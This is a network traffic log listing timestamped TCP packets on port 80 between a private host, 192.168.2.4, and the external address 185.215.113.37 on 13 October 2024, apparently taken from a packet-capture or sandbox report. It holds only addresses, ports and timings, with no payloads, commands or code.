Oct 13, 2024 11:54:14.551853895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551865101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551887989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551908970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551923990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551933050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551956892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551969051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551992893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552006006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552026987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552038908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552062035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552071095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552094936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552107096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552129030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552139997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552161932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552175999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552196980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552206993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552226067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552243948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552258015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552267075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552292109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552303076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552325010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552337885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552361012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552370071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552392960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552407026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552427053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552444935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552459955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552474022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552495003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552505970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552527905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552541971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552565098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552572966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552601099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552617073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552634954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552654028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552668095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552683115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552704096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552736998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552753925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552768946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552772045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552791119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552804947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552814960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552839994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552850008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552872896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552886009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552906990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552926064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552939892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552951097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.552973032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.552983046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.553010941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.553023100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.553045034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.553056955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.553078890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.553092003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.553113937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.553122997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.553148031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.553160906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.553181887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.553190947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.553216934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.553229094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.553251982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.553261042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.553286076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.553297997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.553329945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.641670942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.641716003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.641757965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.641777992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.641793013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.641832113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.641868114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.641880989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.641911030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.641921997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.641954899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.641963005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.641995907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642005920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642039061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642050982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642072916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642086983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642106056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642117977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642142057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642151117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642174959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642184019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642219067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642227888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642256975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642272949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642296076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642307997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642342091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642354012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642379045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642383099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642414093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642429113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642446995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642457962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642482996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642492056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642515898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642525911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642561913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642571926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642606974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642641068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642652035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642673969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642685890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642709017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642719030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642740011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642750978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642776012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642784119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642834902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642836094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642888069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.642894983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642950058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.642993927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643001080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643045902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643054962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643088102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643099070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643129110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643138885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643186092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643189907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643224001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643234015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643256903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643268108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643299103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643306971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643341064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643348932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643393040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643410921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643455982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643462896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643496990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643511057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643548012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643559933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643583059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643603086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643618107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643635988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643647909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643671036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643681049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643692017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643714905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643728018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643764973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643769979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643800974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643807888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643841982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643852949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643887043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643899918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643915892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643929005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643956900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.643965960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.643999100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644009113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644032001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644041061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644076109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644083977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644118071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644129992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644150972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644160032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644184113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644191027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644227982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644233942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644265890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644279957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644299984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644306898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644332886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644342899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644366980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644376993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644401073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644416094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644435883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644448042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644470930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644479990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644505024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644514084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644539118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644548893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644572973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644579887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644608021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644615889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644642115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644649982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644673109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644685030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644706964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644714117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644740105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644748926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644773960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644783974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644807100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644817114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644840956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644849062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644874096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644884109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644907951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644917011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644942999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644952059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.644977093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.644994974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645010948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645024061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645045042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645055056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645077944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645087004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645112991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645123959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645145893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645154953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645179987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645189047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645211935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645246029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645245075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645262003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645281076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645291090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645313025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645328045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645349026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645358086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645382881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645394087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645416021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645450115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645457029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645474911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645483017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645498037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645515919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645550966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645560980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645586967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645603895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645620108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645634890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645653963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645663023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645687103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645695925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645720959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645730972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645754099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645762920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645787954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645796061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645821095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645827055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645853996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645863056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645886898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645899057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645920992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645929098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645953894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.645967007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.645992041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.646011114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.646019936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.646034002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.646054029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.646059036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.646091938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.646097898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.646121025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.646136999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.646164894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.734075069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.734144926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.734180927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.734215021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.734236956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.734251022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.734282970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.734282970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.734283924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.734316111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.734360933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.734361887 CEST	80	49730	185.215.113.37	192.168.2.4
